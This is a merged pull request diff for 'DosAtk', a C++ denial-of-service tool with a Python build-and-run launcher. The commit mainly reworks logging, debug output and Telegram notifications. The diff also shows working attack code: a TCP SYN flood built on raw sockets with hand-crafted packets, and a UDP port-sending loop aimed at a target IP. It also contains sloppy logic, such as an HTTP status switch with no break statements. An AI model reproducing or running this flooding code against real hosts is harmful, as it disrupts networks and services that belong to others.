bugfix: Решение проблемы с логированием, доработка лога и рефакторинг кода #28

Merged
serafim merged 1 commits from bugfix/log into dev 2025-05-09 15:45:23 +03:00
2 changed files with 111 additions and 43 deletions
Showing only changes of commit b0350b692d - Show all commits

View File

@ -17,4 +17,5 @@ if subprocess.call(["g++", "src/DosAtk.cpp", "-o", "DosAtk", "-lcurl", "-lssl",
sys.exit(1)
# Запуск с аргументами
os.execvp("./DosAtk", ["./DosAtk"] + sys.argv[1:])
if len(sys.argv[1:]) > 0:
os.execvp("./DosAtk", ["./DosAtk"] + sys.argv[1:])

View File

@ -103,7 +103,7 @@ int my_check_params()
long_options[8] = {NULL, 0, NULL, 0};
i = 0;
printf("begin my_check_params\n"); // debug
printf("start my_check_params\n"); // debug
now_time_t = std::time(nullptr);
// Выводим информацию о времени запуска программы
@ -118,7 +118,7 @@ int my_check_params()
char buffer[100];
snprintf(buffer, sizeof(buffer),
"Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld",
"[%04d-%02d-%02d %02d:%02d:%02d.%03ld] Starting DosAtk",
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца
@ -183,11 +183,13 @@ int my_check_params()
return -600; // Неполные данные для Telegram
}
else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
log_msg += " | Type: UDP port scan";
printf("end my_check_params\n"); // debug
return 1; // Валидные параметры для сканирования
}
else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
log_msg += " | Type: TCP SYN flood";
printf("end my_check_params\n"); // debug
return 2; // Валидные параметры для флуда
}
@ -198,6 +200,10 @@ int my_check_params()
}
int my_udp() {
if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_udp\n"); // debug
}
int sockfd;
int port_idx;
int curr_port;
@ -248,6 +254,7 @@ int my_udp() {
// Преобразование IP
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
n_fail_requests++;
log_msg += " | Failed to parse IP for udp flood";
status = -501; // Код ошибки: неверный IP
if (sockfd != -1) close(sockfd);
}
@ -256,6 +263,7 @@ int my_udp() {
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockfd < 0) {
n_fail_requests++;
log_msg += " | Failed to open socket for udp flood";
status = -502; // Ошибка создания сокета
if (sockfd != -1) close(sockfd);
}
@ -265,6 +273,7 @@ int my_udp() {
(struct sockaddr*)&target_addr, sizeof(target_addr));
if (send_result < 0) {
n_fail_requests++;
log_msg += " | Failed to send udp flood request";
status = -503; // Ошибка отправки
} else {
n_ok_requests++;
@ -273,7 +282,10 @@ int my_udp() {
// Проверка общего числа запросов
if (n_ok_requests + n_fail_requests >= 1000) {
printf("end my_udp\n"); // debug
log_msg += " | Sent 1000 requests";
status = 2; // Условие завершения
return status;
}
// Переход к следующему порту
@ -285,7 +297,7 @@ void my_diag()
{
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки
printf("begin my_diag, status: %i\n", status); // debug
printf("start my_diag, status: %i\n", status); // debug
switch (status) // Выбор сообщения в зависимости от кода ошибки
{
@ -303,18 +315,23 @@ void my_diag()
break;
case -1: // Некорректный тип атаки
printf("Error: Invalid attack type!\n--help for more info\n");
log_msg += " | Error: Invalid attack type";
break;
case -10: // Отсутствуют обязательные параметры для сканирования портов
printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for port scanning";
break;
case -20: // Отсутствуют обязательные параметры для SYN flood атаки
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
log_msg += " | Error: Missing required parameters for tcp syn dos attack";
break;
case -101: // Встречена неизвестная опция командной строки
printf("Error: Unknown option!\n--help for info\n");
log_msg += " | Error: Unknown option";
break;
case -600: // Неполные данные для Telegram-уведомлений
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n");
log_msg += " | Error: To use telegram integration both telegram_id and telegram_token have to be provided";
break;
}
@ -387,7 +404,7 @@ bool is_numeric(const std::string& s)
int my_msg()
{
printf("begin my_msg\n"); // debug
printf("start my_msg\n"); // debug
// Объявление
struct curl_slist* headers; // Заголовки HTTP-запроса
@ -410,6 +427,7 @@ int my_msg()
// Проверка наличия обязательных параметров Telegram
if (telegram_token.empty() || telegram_id.empty())
{
printf("end my_msg\n"); // debug
return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
}
@ -446,6 +464,7 @@ int my_msg()
// Обработка ошибок CURL
if (res != CURLE_OK)
{
log_msg += " | Failed to send telegram msg - CURL error";
status = 5; // Ошибка выполнения запроса
}
@ -455,12 +474,16 @@ int my_msg()
case 200:
status = 0; // Успешный запрос
case 401:
log_msg += " | Failed to send telegram msg - authorization token error";
status = 1; // Ошибка авторизации (неверный токен)
case 400:
log_msg += " | Failed to send telegram msg - wrong request";
status = 2; // Неверный запрос
case 404:
log_msg += " | Failed to send telegram msg - resource not found";
status = 3; // Ресурс не найден
case 500:
case 500:
log_msg += " | Failed to send telegram msg - server error";
status = 4; // Ошибка сервера
}
@ -503,7 +526,8 @@ int my_log()
// === Основная логика ===
// Если путь к лог-файлу не указан
if(log_file.empty()) {
return 0;
printf("end my_log\n"); // debug
return 1;
}
// Открытие файла в режиме добавления
@ -511,13 +535,14 @@ int my_log()
// Проверка успешности открытия файла
if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
return 1;
}
// Запись сообщения в лог
log_stream << "[" << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << "] "
<< log_msg << std::endl;
log_stream << log_msg << " | Stopping DosAtk [" << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << "]"
<< std::endl;
// Проверка размер файла и выполняем ротацию
if(stat_result == 0 && file_stat.st_size > max_log_size) {
@ -525,12 +550,14 @@ int my_log()
// Переименование файла
if(rename(log_file.c_str(), rotated_log_name.c_str()) != 0) {
printf("end my_log\n"); // debug
return 1;
}
// Открытие нового лог-файла
log_stream.open(log_file, std::ios::app);
if(!log_stream.is_open()) {
printf("end my_log\n"); // debug
return 1;
}
}
@ -546,12 +573,17 @@ void my_fin()
// Данная процедура завершает программу и рассчитывает итоговое время выполнения программы
// Объявления
time_t end_time_t; // Время завершения выполненя программы
std::chrono::milliseconds duration; // Длительность выполнения программы
std::chrono::hours hours; // Компонента часов времени завершения
std::chrono::minutes minutes; // Компонента минут времени завершения
std::chrono::seconds seconds; // Компонента секунд времени завершения
std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения
time_t end_time_t; // Время завершения выполнения программы
std::chrono::milliseconds duration; // Длительность выполнения программы
std::chrono::hours hours; // Компонента часов времени завершения
std::chrono::minutes minutes; // Компонента минут времени завершения
std::chrono::seconds seconds; // Компонента секунд времени завершения
std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения
std::chrono::system_clock::time_point now; // Текущее время
std::time_t now_time_t; // Время в time_t
std::tm now_tm; // Время в tm структуре
char time_buf[20]; // Буфер для времени
std::chrono::milliseconds ms; // Миллисекунды
double total_seconds;
// Иницаализация
@ -561,8 +593,15 @@ void my_fin()
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
now = std::chrono::system_clock::now();
now_time_t = std::chrono::system_clock::to_time_t(now);
localtime_r(&now_time_t, &now_tm);
memset(time_buf, 0, sizeof(time_buf));
strftime(time_buf, sizeof(time_buf), "%Y%m%d_%H%M%S", &now_tm);
ms = std::chrono::duration_cast<std::chrono::milliseconds>(
now.time_since_epoch()) % 1000;
printf("begin my_diag\n"); // debug
printf("start my_fin\n"); // debug
std::cout << "Worked for "; // Выводим информацию о времени работы
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью
@ -578,9 +617,9 @@ void my_fin()
{
std::cout << hours.count() << "h "; // Выводим часы
}
if (minutes.count() > 0) // Если программа работала хотя бы одину минуту
if (minutes.count() > 0) // Если программа работала хотя бы одну минуту
{
std::cout << minutes.count() << "m "; // Вывовим минуты
std::cout << minutes.count() << "m "; // Выводим минуты
}
std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды
}
@ -591,11 +630,12 @@ void my_fin()
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
// Выводим точное время завершения работы
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl;
std::cout << "DosAtk stopped at " << std::put_time(&now_tm, "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << ms.count() << std::endl;
log_msg = "";
printf("end my_fin\n"); // debug
// Завершаем программу с кодом состояния
std::exit(status);
}
@ -609,7 +649,9 @@ int my_tcp_syn() {
* -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета
*/
printf("start my_tcp_syn\n"); // debug
if ((n_ok_requests + n_fail_requests) == 0) {
printf("start my_tcp_syn\n"); // debug
}
// === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов
@ -656,6 +698,8 @@ int my_tcp_syn() {
// === Основная логика процедуры ===
// 1. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
n_fail_requests++;
log_msg += " | Failed to create tcp syn raw-socket";
return -201;
}
@ -667,6 +711,8 @@ int my_tcp_syn() {
target_addr.sin_family = AF_INET;
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
close(sock);
n_fail_requests++;
log_msg += " | Failed to send tcp syn packet";
return -202;
}
@ -725,23 +771,23 @@ int my_tcp_syn() {
if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++;
close(sock);
printf("end my_tcp_syn\n"); // debug
log_msg = "Failed to send tcp syn msg";
log_msg += " | Failed to send tcp syn packet";
return -202;
} else {
n_ok_requests++;
}
// 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 10000) {
log_msg = "Sent 10000 requests, stopping attack";
if ((n_ok_requests + n_fail_requests) >= 1000) {
log_msg += " | Sent 1000 requests";
printf("end my_tcp_syn\n"); // debug
close(sock);
return 2;
}
close(sock);
printf("end my_tcp_syn\n"); // debug
log_msg = "Sent tcp syn msg";
return 0;
}
@ -870,11 +916,6 @@ int main(int arg_ctr, char **arg_ptr)
status = 0;
status = my_check_params(); // Проверяем параметры командной строки
if (my_log()) // Если записать лог не удалось
{
my_msg(); // Отправляем сообщение
}
switch (status) // Обрабатываем результат проверки параметров
{
@ -893,16 +934,29 @@ int main(int arg_ctr, char **arg_ptr)
{
my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось
if (status == 0) // Если лог получилось записать
{
my_msg(); // Отправляем сообщение
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
}
}
// Завершающие действия после атаки
my_log(); // Логируем завершение
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
status = my_log(); // Логируем завершение
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
}
else if (status == 1) // Ошибка DNS-разрешения
{
@ -926,7 +980,7 @@ int main(int arg_ctr, char **arg_ptr)
if (status == 0) // Если DNS разрешен успешно
{
// Запускаем цикл UDP-атаки
// Запускаем цикл TCP-атаки
while (true)
{
status = my_tcp_syn();
@ -938,16 +992,29 @@ int main(int arg_ctr, char **arg_ptr)
{
my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось
if (status == 0) // Если лог получилось записать
{
my_msg(); // Отправляем сообщение
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
}
}
// Завершающие действия после атаки
my_log(); // Логируем завершение
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
status = my_log(); // Логируем завершение
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
}
else if (status == 1) // Ошибка DNS-разрешения
{